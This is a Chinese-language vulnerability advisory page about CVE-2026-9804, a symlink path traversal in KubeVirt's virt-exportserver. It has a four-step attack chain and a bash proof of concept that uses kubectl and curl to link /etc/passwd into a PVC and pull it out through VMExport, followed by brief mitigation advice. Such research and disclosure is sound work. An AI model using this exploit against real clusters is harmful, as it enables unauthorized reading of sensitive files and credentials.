IPBUF安全漏洞报告
English
CVE-2026-9804 CVSS 7.7 高危

CVE-2026-9804 KubeVirt路径遍历致信息泄露漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9804
漏洞类型
路径遍历
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
KubeVirt

相关标签

路径遍历KubeVirt容器安全信息泄露符号链接

漏洞概述

KubeVirt的virt-exportserver组件存在路径遍历漏洞。拥有特定命名空间权限的攻击者可利用VMExport目录端点,通过在导出的PVC中创建指向外部目录的符号链接,绕过挂载根目录限制,读取exporter pod文件系统中的任意文件,导致敏感信息泄露。该漏洞CVSS评分为7.7,属于高危漏洞。

技术细节

该漏洞的根源在于KubeVirt的virt-exportserver组件在处理VMExport请求时,对文件路径的验证机制存在缺陷,未能有效防止符号链接逃逸。攻击者首先需获得目标Kubernetes命名空间的特定权限(如创建PVC或Pod的权限)。利用这一前提,攻击者可以在其控制的持久卷声明(PVC)中精心构造一个恶意符号链接,该链接指向exporter pod文件系统中预定挂载根目录以外的位置,例如系统敏感配置文件或宿主机的其他路径。当攻击者通过API触发VMExport操作时,virt-exportserver在遍历PVC目录结构时会解析并跟随该符号链接。由于缺乏对解析后路径的边界检查,服务会将目标敏感文件(如Secrets、ConfigMaps或系统凭证)作为导出数据的一部分打包进返回的流中。这种利用方式利用了容器文件系统的符号链接特性,成功绕过了容器隔离和挂载点限制,导致信息泄露。

攻击链分析

STEP 1
1. 获取权限
攻击者获得目标Kubernetes集群特定命名空间的访问权限,能够创建PVC或Pod。
STEP 2
2. 构造恶意链接
攻击者在PVC挂载的目录中创建一个符号链接,该链接指向exporter pod文件系统根目录之外的敏感文件(如/etc/passwd)。
STEP 3
3. 触发导出
攻击者通过API调用KubeVirt的VMExport功能,请求导出包含恶意符号链接的虚拟机卷。
STEP 4
4. 读取敏感数据
virt-exportserver处理导出请求时跟随符号链接,将宿主机或Pod内的敏感文件打包进导出流,攻击者下载后获取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-9804: KubeVirt virt-exportserver Path Traversal # Prerequisites: Access to a Kubernetes namespace with PVC creation rights. # 1. Create a PVC (assumed 'pvc-exploit' exists) # 2. Create a Pod that mounts the PVC and creates a malicious symlink kubectl run malicious-pod --image=alpine --overrides=' { "spec": { "containers": [{ "name": "exploit", "image": "alpine", "command": ["/bin/sh", "-c", "ln -s /etc/passwd /data/stolen_secret && sleep 3600"], "volumeMounts": [{"name": "pvc-vol", "mountPath": "/data"}] }], "volumes": [{"name": "pvc-vol", "persistentVolumeClaim": {"claimName": "pvc-exploit"}}] } } ' # 3. Create a VirtualMachineInstance (VMI) using the PVC # (Assuming VMI 'vm-victim' is configured to use pvc-exploit) # 4. Trigger VMExport for the VMI # The export server will read /data/stolen_secret, follow the symlink to /etc/passwd # and include the host's /etc/passwd in the exported archive. curl -X POST https://kubevirt-api/api/v1/namespaces/default/virtualmachineexports/ # Body: {"apiVersion": "export.kubevirt.io/v1alpha1", "kind": "VirtualMachineExport", "metadata": {"name": "export-exploit"}, "spec": {"source": {"apiGroup": "kubevirt.io", "kind": "VirtualMachineInstance", "name": "vm-victim"}}} echo "Waiting for export to complete and downloading..." # The downloaded volume will contain the symlink resolving to /etc/passwd

影响范围

KubeVirt virt-exportserver(具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
在应用官方补丁之前,建议严格限制非受信用户对KubeVirt命名空间的写入权限,并监控异常的VMExport请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表